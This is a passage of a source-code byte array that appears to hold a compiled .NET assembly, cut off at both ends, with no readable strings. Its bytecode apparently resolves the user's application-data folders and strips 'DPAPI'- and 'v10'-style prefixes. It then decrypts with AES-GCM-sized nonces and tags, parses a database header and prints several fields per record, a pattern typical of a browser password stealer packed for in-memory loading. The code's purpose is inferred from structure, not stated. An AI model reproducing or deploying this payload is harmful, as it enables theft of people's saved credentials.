0x00,\n\t0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xD6, 0x07, 0x00,\n\t0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xF2, 0x07, 0x00, 0x70, 0x28,\n\t0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x22,\n\t0x08, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x34, 0x08, 0x00,\n\t0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25,\n\t0x72, 0x76, 0x08, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xB4,\n\t0x08, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00,\n\t0x0A, 0x25, 0x72, 0xDA, 0x08, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04,\n\t0x72, 0xF6, 0x08, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27,\n\t0x00, 0x00, 0x0A, 0x25, 0x72, 0x16, 0x09, 0x00, 0x70, 0x7E, 0x13, 0x00,\n\t0x00, 0x04, 0x72, 0x32, 0x09, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A,\n\t0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x7E, 0x09, 0x00, 0x70, 0x7E,\n\t0x13, 0x00, 0x00, 0x04, 0x72, 0x9E, 0x09, 0x00, 0x70, 0x28, 0x26, 0x00,\n\t0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xC4, 0x09, 0x00,\n\t0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xDA, 0x09, 0x00, 0x70, 0x28,\n\t0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x22,\n\t0x0A, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x2E, 0x0A, 0x00,\n\t0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25,\n\t0x72, 0x5A, 0x0A, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x66,\n\t0x0A, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00,\n\t0x0A, 0x25, 0x72, 0x86, 0x0A, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04,\n\t0x72, 0x92, 0x0A, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27,\n\t0x00, 0x00, 0x0A, 0x25, 0x72, 0xB2, 0x0A, 0x00, 0x70, 0x7E, 0x13, 0x00,\n\t0x00, 0x04, 0x72, 0xCA, 0x0A, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A,\n\t0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xF6, 0x0A, 0x00, 0x70, 0x7E,\n\t0x13, 0x00, 0x00, 0x04, 0x72, 0x04, 0x0B, 0x00, 0x70, 0x28, 0x28, 0x00,\n\t0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x26, 0x0B, 0x00,\n\t0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x34, 0x0B, 0x00, 0x70, 0x28,\n\t0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x66,\n\t0x0B, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x88, 0x0B, 0x00,\n\t0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25,\n\t0x72, 0xBE, 0x0B, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xE8,\n\t0x0B, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00,\n\t0x0A, 0x25, 0x72, 0x26, 0x0C, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04,\n\t0x72, 0x34, 0x0C, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27,\n\t0x00, 0x00, 0x0A, 0x25, 0x72, 0x56, 0x0C, 0x00, 0x70, 0x7E, 0x13, 0x00,\n\t0x00, 0x04, 0x72, 0x66, 0x0C, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A,\n\t0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x8A, 0x0C, 0x00, 0x70, 0x7E,\n\t0x13, 0x00, 0x00, 0x04, 0x72, 0x9A, 0x0C, 0x00, 0x70, 0x28, 0x28, 0x00,\n\t0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xCE, 0x0C, 0x00,\n\t0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xE2, 0x0C, 0x00, 0x70, 0x28,\n\t0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x14,\n\t0x0D, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x24, 0x0D, 0x00,\n\t0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25,\n\t0x72, 0x48, 0x0D, 0x00, 0x70, 0x7E, 0x14, 0x00, 0x00, 0x04, 0x72, 0x5E,\n\t0x0D, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00,\n\t0x0A, 0x25, 0x72, 0xC6, 0x0D, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04,\n\t0x72, 0xD4, 0x0D, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27,\n\t0x00, 0x00, 0x0A, 0x25, 0x72, 0x12, 0x0E, 0x00, 0x70, 0x7E, 0x13, 0x00,\n\t0x00, 0x04, 0x72, 0x20, 0x0E, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A,\n\t0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x50, 0x0E, 0x00, 0x70, 0x7E,\n\t0x13, 0x00, 0x00, 0x04, 0x72, 0x6E, 0x0E, 0x00, 0x70, 0x28, 0x28, 0x00,\n\t0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x90, 0x0E, 0x00,\n\t0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xA2, 0x0E, 0x00, 0x70, 0x28,\n\t0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xC8,\n\t0x0E, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xE4, 0x0E, 0x00,\n\t0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25,\n\t0x72, 0x16, 0x0F, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x26,\n\t0x0F, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00,\n\t0x0A, 0x73, 0x29, 0x00, 0x00, 0x0A, 0x0A, 0x6F, 0x2A, 0x00, 0x00, 0x0A,\n\t0x0B, 0x2B, 0x26, 0x12, 0x01, 0x28, 0x2B, 0x00, 0x00, 0x0A, 0x0C, 0x06,\n\t0x12, 0x02, 0x28, 0x2C, 0x00, 0x00, 0x0A, 0x12, 0x02, 0x28, 0x2D, 0x00,\n\t0x00, 0x0A, 0x72, 0x54, 0x0F, 0x00, 0x70, 0x28, 0x1D, 0x00, 0x00, 0x06,\n\t0x6F, 0x2E, 0x00, 0x00, 0x0A, 0x12, 0x01, 0x28, 0x2F, 0x00, 0x00, 0x0A,\n\t0x2D, 0xD1, 0xDE, 0x0E, 0x12, 0x01, 0xFE, 0x16, 0x06, 0x00, 0x00, 0x1B,\n\t0x6F, 0x1A, 0x00, 0x00, 0x0A, 0xDC, 0x06, 0x2A, 0x01, 0x10, 0x00, 0x00,\n\t0x02, 0x00, 0xED, 0x03, 0x33, 0x20, 0x04, 0x0E, 0x00, 0x00, 0x00, 0x00,\n\t0x1B, 0x30, 0x04, 0x00, 0x7D, 0x01, 0x00, 0x00, 0x09, 0x00, 0x00, 0x11,\n\t0x02, 0x28, 0x1E, 0x00, 0x00, 0x06, 0x73, 0x29, 0x00, 0x00, 0x0A, 0x0A,\n\t0x6F, 0x30, 0x00, 0x00, 0x0A, 0x0B, 0x16, 0x0C, 0x38, 0x59, 0x01, 0x00,\n\t0x00, 0x07, 0x08, 0x9A, 0x0D, 0x09, 0x28, 0x31, 0x00, 0x00, 0x0A, 0x39,\n\t0x46, 0x01, 0x00, 0x00, 0x00, 0x09, 0x73, 0x26, 0x00, 0x00, 0x06, 0x13,\n\t0x04, 0xDE, 0x0F, 0x6F, 0x32, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00,\n\t0x0A, 0xDD, 0x2C, 0x01, 0x00, 0x00, 0x11, 0x04, 0x04, 0x6F, 0x30, 0x00,\n\t0x00, 0x06, 0x39, 0x1F, 0x01, 0x00, 0x00, 0x16, 0x13, 0x05, 0x38, 0x07,\n\t0x01, 0x00, 0x00, 0x00, 0x11, 0x04, 0x11, 0x05, 0x72, 0x62, 0x0F, 0x00,\n\t0x70, 0x6F, 0x2C, 0x00, 0x00, 0x06, 0x13, 0x06, 0x11, 0x04, 0x11, 0x05,\n\t0x72, 0x78, 0x0F, 0x00, 0x70, 0x6F, 0x2C, 0x00, 0x00, 0x06, 0x13, 0x07,\n\t0x11, 0x04, 0x11, 0x05, 0x72, 0x96, 0x0F, 0x00, 0x70, 0x6F, 0x2C, 0x00,\n\t0x00, 0x06, 0x13, 0x08, 0x11, 0x08, 0x2C, 0x77, 0x11, 0x08, 0x72, 0xB4,\n\t0x0F, 0x00, 0x70, 0x6F, 0x34, 0x00, 0x00, 0x0A, 0x2D, 0x2A, 0x11, 0x08,\n\t0x72, 0xBC, 0x0F, 0x00, 0x70, 0x6F, 0x34, 0x00, 0x00, 0x0A, 0x2D, 0x1C,\n\t0x11, 0x08, 0x72, 0xC4, 0x0F, 0x00, 0x70, 0x6F, 0x34, 0x00, 0x00, 0x0A,\n\t0x2D, 0x0E, 0x11, 0x08, 0x72, 0xD4, 0x0F, 0x00, 0x70, 0x6F, 0x34, 0x00,\n\t0x00, 0x0A, 0x2C, 0x34, 0x09, 0x28, 0x35, 0x00, 0x00, 0x0A, 0x6F, 0x36,\n\t0x00, 0x00, 0x0A, 0x6F, 0x37, 0x00, 0x00, 0x0A, 0x28, 0x20, 0x00, 0x00,\n\t0x06, 0x13, 0x09, 0x11, 0x09, 0x2D, 0x02, 0xDE, 0x77, 0x28, 0x15, 0x00,\n\t0x00, 0x0A, 0x11, 0x08, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x11, 0x09, 0x28,\n\t0x1F, 0x00, 0x00, 0x06, 0x13, 0x08, 0x2B, 0x0D, 0x11, 0x08, 0x28, 0x21,\n\t0x00, 0x00, 0x06, 0x13, 0x08, 0x2B, 0x02, 0xDE, 0x53, 0x11, 0x06, 0x28,\n\t0x38, 0x00, 0x00, 0x0A, 0x2D, 0x3C, 0x11, 0x07, 0x28, 0x38, 0x00, 0x00,\n\t0x0A, 0x2D, 0x33, 0x11, 0x08, 0x28, 0x38, 0x00, 0x00, 0x0A, 0x2D, 0x2A,\n\t0x06, 0x73, 0x0B, 0x00, 0x00, 0x06, 0x25, 0x11, 0x06, 0x6F, 0x08, 0x00,\n\t0x00, 0x06, 0x25, 0x11, 0x07, 0x6F, 0x04, 0x00, 0x00, 0x06, 0x25, 0x11,\n\t0x08, 0x6F, 0x06, 0x00, 0x00, 0x06, 0x25, 0x03, 0x6F, 0x0A, 0x00, 0x00,\n\t0x06, 0x6F, 0x39, 0x00, 0x00, 0x0A, 0xDE, 0x0C, 0x6F, 0x32, 0x00, 0x00,\n\t0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0xDE, 0x00, 0x11, 0x05, 0x17, 0x58,\n\t0x13, 0x05, 0x11, 0x05, 0x11, 0x04, 0x6F, 0x29, 0x00, 0x00, 0x06, 0x17,\n\t0x59, 0x3E, 0xE9, 0xFE, 0xFF, 0xFF, 0x08, 0x17, 0x58, 0x0C, 0x08, 0x07,\n\t0x8E, 0x69, 0x3F, 0x9E, 0xFE, 0xFF, 0xFF, 0x06, 0x2A, 0x00, 0x00, 0x00,\n\t0x01, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00, 0x0A, 0x33, 0x00, 0x0F,\n\t0x19, 0x00, 0x00, 0x01, 0x00, 0x00, 0x58, 0x00, 0xF4, 0x4C, 0x01, 0x0C,\n\t0x19, 0x00, 0x00, 0x01, 0x13, 0x30, 0x04, 0x00, 0xAD, 0x00, 0x00, 0x00,\n\t0x0A, 0x00, 0x00, 0x11, 0x73, 0x3A, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72,\n\t0xDC, 0x0F, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x3B, 0x00,\n\t0x00, 0x0A, 0x25, 0x02, 0x72, 0x04, 0x10, 0x00, 0x70, 0x28, 0x26, 0x00,\n\t0x00, 0x0A, 0x6F, 0x3B, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72, 0x2E, 0x10,\n\t0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x3B, 0x00, 0x00, 0x0A,\n\t0x25, 0x02, 0x72, 0x66, 0x10, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A,\n\t0x6F, 0x3B, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72, 0x7E, 0x10, 0x00, 0x70,\n\t0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x3B, 0x00, 0x00, 0x0A, 0x25, 0x02,\n\t0x72, 0x98, 0x10, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x3B,\n\t0x00, 0x00, 0x0A, 0x0A, 0x02, 0x28, 0x3C, 0x00, 0x00, 0x0A, 0x2C, 0x37,\n\t0x02, 0x28, 0x3D, 0x00, 0x00, 0x0A, 0x0B, 0x16, 0x0C, 0x2B, 0x26, 0x07,\n\t0x08, 0x9A, 0x0D, 0x09, 0x72, 0xC0, 0x10, 0x00, 0x70, 0x6F, 0x3E, 0x00,\n\t0x00, 0x0A, 0x2C, 0x11, 0x06, 0x09, 0x72, 0x66, 0x10, 0x00, 0x70, 0x28,\n\t0x26, 0x00, 0x00, 0x0A, 0x6F, 0x3B, 0x00, 0x00, 0x0A, 0x08, 0x17, 0x58,\n\t0x0C, 0x08, 0x07, 0x8E, 0x69, 0x32, 0xD4, 0x06, 0x2A, 0x00, 0x00, 0x00,\n\t0x1B, 0x30, 0x07, 0x00, 0x97, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x11,\n\t0x1F, 0x0C, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0A, 0x02, 0x19, 0x06, 0x16,\n\t0x1F, 0x0C, 0x28, 0x3F, 0x00, 0x00, 0x0A, 0x02, 0x8E, 0x69, 0x1F, 0x0F,\n\t0x59, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0B, 0x02, 0x1F, 0x0F, 0x07, 0x16,\n\t0x02, 0x8E, 0x69, 0x1F, 0x0F, 0x59, 0x28, 0x3F, 0x00, 0x00, 0x0A, 0x1F,\n\t0x10, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0C, 0x07, 0x8E, 0x69, 0x08, 0x8E,\n\t0x69, 0x59, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0D, 0x07, 0x07, 0x8E, 0x69,\n\t0x1F, 0x10, 0x59, 0x08, 0x16, 0x1F, 0x10, 0x28, 0x3F, 0x00, 0x00, 0x0A,\n\t0x07, 0x16, 0x09, 0x16, 0x07, 0x8E, 0x69, 0x08, 0x8E, 0x69, 0x59, 0x28,\n\t0x3F, 0x00, 0x00, 0x0A, 0x73, 0x12, 0x00, 0x00, 0x06, 0x13, 0x04, 0x28,\n\t0x14, 0x00, 0x00, 0x0A, 0x11, 0x04, 0x03, 0x06, 0x14, 0x09, 0x08, 0x6F,\n\t0x0C, 0x00, 0x00, 0x06, 0x6F, 0x17, 0x00, 0x00, 0x0A, 0x13, 0x05, 0xDE,\n\t0x0F, 0x6F, 0x32, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x14,\n\t0x13, 0x05, 0xDE, 0x00, 0x11, 0x05, 0x2A, 0x00, 0x01, 0x10, 0x00, 0x00,\n\t0x00, 0x00, 0x13, 0x00, 0x72, 0x85, 0x00, 0x0F, 0x19, 0x00, 0x00, 0x01,\n\t0x1B, 0x30, 0x06, 0x00, 0xBE, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x11,\n\t0x02, 0x72, 0xD0, 0x10, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x0A,\n\t0x16, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0B, 0x06, 0x28, 0x31, 0x00, 0x00,\n\t0x0A, 0x2D, 0x02, 0x14, 0x2A, 0x72, 0xEA, 0x10, 0x00, 0x70, 0x1E, 0x73,\n\t0x40, 0x00, 0x00, 0x0A, 0x06, 0x28, 0x41, 0x00, 0x00, 0x0A, 0x28, 0x42,\n\t0x00, 0x00, 0x0A, 0x6F, 0x43, 0x00, 0x00, 0x0A, 0x0D, 0x2B, 0x2E, 0x09,\n\t0x6F, 0x44, 0x00, 0x00, 0x0A, 0x74, 0x1B, 0x00, 0x00, 0x01, 0x13, 0x04,\n\t0x11, 0x04, 0x6F, 0x45, 0x00, 0x00, 0x0A, 0x2C, 0x18, 0x11, 0x04, 0x6F,\n\t0x46, 0x00, 0x00, 0x0A, 0x17, 0x6F, 0x47, 0x00, 0x00, 0x0A, 0x6F, 0x48,\n\t0x00, 0x00, 0x0A, 0x28, 0x49, 0x00, 0x00, 0x0A, 0x0B, 0x09, 0x6F, 0x4A,\n\t0x00, 0x00, 0x0A, 0x2D, 0xCA, 0xDE, 0x14, 0x09, 0x75, 0x15, 0x00, 0x00,\n\t0x01, 0x13, 0x05, 0x11, 0x05, 0x2C, 0x07, 0x11, 0x05, 0x6F, 0x1A, 0x00,\n\t0x00, 0x0A, 0xDC, 0x07, 0x8E, 0x69, 0x1B, 0x59, 0x8D, 0x1E, 0x00, 0x00,\n\t0x01, 0x0C, 0x07, 0x1B, 0x08, 0x16, 0x07, 0x8E, 0x69, 0x1B, 0x59, 0x28,\n\t0x3F, 0x00, 0x00, 0x0A, 0x08, 0x14, 0x16, 0x28, 0x4B, 0x00, 0x00, 0x0A,\n\t0x13, 0x06, 0xDE, 0x0F, 0x6F, 0x32, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00,\n\t0x00, 0x0A, 0x14, 0x13, 0x06, 0xDE, 0x00, 0x11, 0x06, 0x2A, 0x00, 0x00,\n\t0x01, 0x1C, 0x00, 0x00, 0x02, 0x00, 0x39, 0x00, 0x3A, 0x73, 0x00, 0x14,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x0C, 0xAC, 0x00, 0x0F,\n\t0x19, 0x00, 0x00, 0x01, 0x1B, 0x30, 0x04, 0x00, 0x3D, 0x00, 0x00, 0x00,\n\t0x0D, 0x00, 0x00, 0x11, 0x02, 0x2C, 0x08, 0x02, 0x6F, 0x4C, 0x00, 0x00,\n\t0x0A, 0x2D, 0x02, 0x14, 0x2A, 0x00, 0x28, 0x14, 0x00, 0x00, 0x0A, 0x28,\n\t0x15, 0x00, 0x00, 0x0A, 0x02, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x14, 0x16,\n\t0x28, 0x4B, 0x00, 0x00, 0x0A, 0x6F, 0x17, 0x00, 0x00, 0x0A, 0x0A, 0xDE,\n\t0x0E, 0x6F, 0x32, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x14,\n\t0x0A, 0xDE, 0x00, 0x06, 0x2A, 0x00, 0x00, 0x00, 0x01, 0x10, 0x00, 0x00,\n\t0x00, 0x00, 0x0E, 0x00, 0x1F, 0x2D, 0x00, 0x0E, 0x19, 0x00, 0x00, 0x01,\n\t0x1E, 0x02, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x2A, 0x66, 0x1F, 0x1C, 0x28,\n\t0x4D, 0x00, 0x00, 0x0A, 0x80, 0x13, 0x00, 0x00, 0x04, 0x1F, 0x1A, 0x28,\n\t0x4D, 0x00, 0x00, 0x0A, 0x80, 0x14, 0x00, 0x00, 0x04, 0x2A, 0x00, 0x00,\n\t0x1B, 0x30, 0x02, 0x00, 0x93, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x11,\n\t0x28, 0x1C, 0x00, 0x00, 0x06, 0x6F, 0x12, 0x00, 0x00, 0x0A, 0x0A, 0x2B,\n\t0x66, 0x12, 0x00, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x0B, 0x72, 0x1A, 0x11,\n\t0x00, 0x70, 0x07, 0x6F, 0x07, 0x00, 0x00, 0x06, 0x28, 0x26, 0x00, 0x00,\n\t0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x72, 0x26, 0x11, 0x00, 0x70, 0x07,\n\t0x6F, 0x03, 0x00, 0x00, 0x06, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x28, 0x33,\n\t0x00, 0x00, 0x0A, 0x72, 0x3C, 0x11, 0x00, 0x70, 0x07, 0x6F, 0x05, 0x00,\n\t0x00, 0x06, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A,\n\t0x72, 0x52, 0x11, 0x00, 0x70, 0x07, 0x6F, 0x09, 0x00, 0x00, 0x06, 0x28,\n\t0x26, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x72, 0x6E, 0x11,\n\t0x00, 0x70, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x12, 0x00, 0x28, 0x19, 0x00,\n\t0x00, 0x0A, 0x2D, 0x91, 0xDE, 0x0E, 0x12, 0x00, 0xFE, 0x16, 0x03, 0x00,\n\t0x00, 0x1B, 0x6F, 0x1A, 0x00, 0x00, 0x0A, 0xDC, 0x28, 0x4E, 0x00, 0x00,\n\t0x0A, 0x26, 0x2A, 0x00, 0x01, 0x10, 0x00, 0x00, 0x02, 0x00, 0x0B, 0x00,\n\t0x73, 0x7E, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x02, 0x28, 0x1B,\n\t0x00, 0x00, 0x0A, 0x2A, 0x13, 0x30, 0x06, 0x00, 0xF5, 0x00, 0x00, 0x00,\n\t0x0D, 0x00, 0x00, 0x11, 0x02, 0x1F, 0x0A, 0x8D, 0x1E, 0x00, 0x00, 0x01,\n\t0x25, 0xD0, 0x1C, 0x00, 0x00, 0x04, 0x28, 0x4F, 0x00, 0x00, 0x0A, 0x7D,\n\t0x1A, 0x00, 0x00, 0x04, 0x02, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x03, 0x28,\n\t0x31, 0x00, 0x00, 0x0A, 0x39, 0xCB, 0x00, 0x00, 0x00, 0x17, 0x03, 0x1F,\n\t0x20, 0x17, 0x19, 0x15, 0x28, 0x50, 0x00, 0x00, 0x0A, 0x17, 0x28, 0x51,\n\t0x00, 0x00, 0x0A, 0x69, 0x28, 0x52, 0x00, 0x00, 0x0A, 0x0A, 0x17, 0x12,\n\t0x00, 0x15, 0x6A, 0x16, 0x28, 0x53, 0x00, 0x00, 0x0A, 0x17, 0x8D, 0x41,\n\t0x00, 0x00, 0x01, 0x25, 0x16, 0x17, 0x9E, 0x28, 0x54, 0x00, 0x00, 0x0A,\n\t0x02, 0x28, 0x15, 0x00, 0x00, 0x0A, 0x06, 0x6F, 0x16, 0x00, 0x00, 0x0A,\n\t0x7D, 0x15, 0x00, 0x00, 0x04, 0x28, 0x15, 0x00, 0x00, 0x0A, 0x02, 0x7B,\n\t0x15, 0x00, 0x00, 0x04, 0x16, 0x1F, 0x0F, 0x6F, 0x55, 0x00, 0x00, 0x0A,\n\t0x72, 0xAA, 0x11, 0x00, 0x70, 0x6F, 0x56, 0x00, 0x00, 0x0A, 0x2C, 0x0B,\n\t0x72, 0xCA, 0x11, 0x00, 0x70, 0x73, 0x57, 0x00, 0x00, 0x0A, 0x7A, 0x02,\n\t0x7B, 0x15, 0x00, 0x00, 0x04, 0x1F, 0x34, 0x91, 0x2C, 0x0B, 0x72, 0x10,\n\t0x12, 0x00, 0x70, 0x73, 0x57, 0x00, 0x00, 0x0A, 0x7A, 0x02, 0x02, 0x1F,\n\t0x10, 0x18, 0x28, 0x27, 0x00, 0x00, 0x06, 0xD1, 0x7D, 0x19, 0x00, 0x00,\n\t0x04, 0x02, 0x02, 0x1F, 0x38, 0x1A, 0x28, 0x27, 0x00, 0x00, 0x06, 0x7D,\n\t0x16, 0x00, 0x00, 0x04, 0x02, 0x7B, 0x16, 0x00, 0x00, 0x04, 0x73, 0x58,\n\t0x00, 0x00, 0x0A, 0x7E, 0x59, 0x00, 0x00, 0x0A, 0x28, 0x5A, 0x00, 0x00,\n\t0x0A, 0x2D, 0x08, 0x02, 0x17, 0x6A, 0x7D, 0x16, 0x00, 0x00, 0x04, 0x02,\n\t0x1F, 0x64, 0x6A, 0x28, 0x2F, 0x00, 0x00, 0x06, 0x2A, 0x00, 0x00, 0x00,\n\t0x13, 0x30, 0x04, 0x00, 0x33, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x11,\n\t0x04, 0x1E, 0xFE, 0x02, 0x04, 0x16, 0xFE, 0x01, 0x60, 0x2C, 0x03, 0x16,\n\t0x6A, 0x2A, 0x16, 0x6A, 0x0A, 0x04, 0x17, 0x59, 0x0B, 0x16, 0x0C, 0x2B,\n\t0x14, 0x06, 0x1E, 0x62, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x03, 0x08,\n\t0x58, 0x91, 0x6E, 0x60, 0x0A, 0x08, 0x17, 0x58, 0x0C, 0x08, 0x07, 0x31,\n\t0xE8, 0x06, 0x2A, 0x00, 0x13, 0x30, 0x06, 0x00, 0xFB, 0x00, 0x00, 0x00,\n\t0x10, 0x00, 0x00, 0x11, 0x04, 0x17, 0x58, 0x10, 0x02, 0x1E, 0x8D, 0x1E,\n\t0x00, 0x00, 0x01, 0x0A, 0x04, 0x03, 0x59, 0x0B, 0x16, 0x0C, 0x07, 0x16,\n\t0xFE, 0x01, 0x07, 0x1F, 0x09, 0xFE, 0x02, 0x60, 0x2C, 0x03, 0x16, 0x6A,\n\t0x2A, 0x07, 0x17, 0x33, 0x17, 0x06, 0x16, 0x02, 0x7B, 0x15, 0x00, 0x00,\n\t0x04, 0x03, 0x91, 0x1F, 0x7F, 0x5F, 0xD2, 0x9C, 0x06, 0x16, 0x28, 0x5B,\n\t0x00, 0x00, 0x0A, 0x2A, 0x07, 0x1F, 0x09, 0x33, 0x02, 0x17, 0x0C, 0x17,\n\t0x0D, 0x1D, 0x13, 0x04, 0x16, 0x13, 0x05, 0x08, 0x2C, 0x15, 0x06, 0x16,\n\t0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x04, 0x17, 0x59, 0x91, 0x9C, 0x04,\n\t0x17, 0x59, 0x10, 0x02, 0x17, 0x13, 0x05, 0x03, 0x13, 0x06, 0x04, 0x17,\n\t0x59, 0x13, 0x07, 0x2B, 0x7D, 0x11, 0x07, 0x17, 0x59, 0x03, 0x32, 0x4A,\n\t0x06, 0x11, 0x05, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x11, 0x07, 0x91,\n\t0x09, 0x17, 0x59, 0x1D, 0x5F, 0x1F, 0x1F, 0x5F, 0x63, 0xD2, 0x20, 0xFF,\n\t0x00, 0x00, 0x00, 0x09, 0x1F, 0x1F, 0x5F, 0x63, 0x5F, 0x02, 0x7B, 0x15,\n\t0x00, 0x00, 0x04, 0x11, 0x07, 0x17, 0x59, 0x91, 0x11, 0x04, 0x1D, 0x5F,\n\t0x1F, 0x1F, 0x5F, 0x62, 0xD2, 0x60, 0xD2, 0x9C, 0x09, 0x17, 0x58, 0x0D,\n\t0x11, 0x05, 0x17, 0x58, 0x13, 0x05, 0x11, 0x04, 0x17, 0x59, 0x13, 0x04,\n\t0x2B, 0x26, 0x08, 0x2D, 0x23, 0x06, 0x11, 0x05, 0x02, 0x7B, 0x15, 0x00,\n\t0x00, 0x04, 0x11, 0x07, 0x91, 0x09, 0x17, 0x59, 0x1D, 0x5F, 0x1F, 0x1F,\n\t0x5F, 0x63, 0xD2, 0x20, 0xFF, 0x00, 0x00, 0x00, 0x09, 0x1F, 0x1F, 0x5F,\n\t0x63, 0x5F, 0xD2, 0x9C, 0x11, 0x07, 0x15, 0x58, 0x13, 0x07, 0x11, 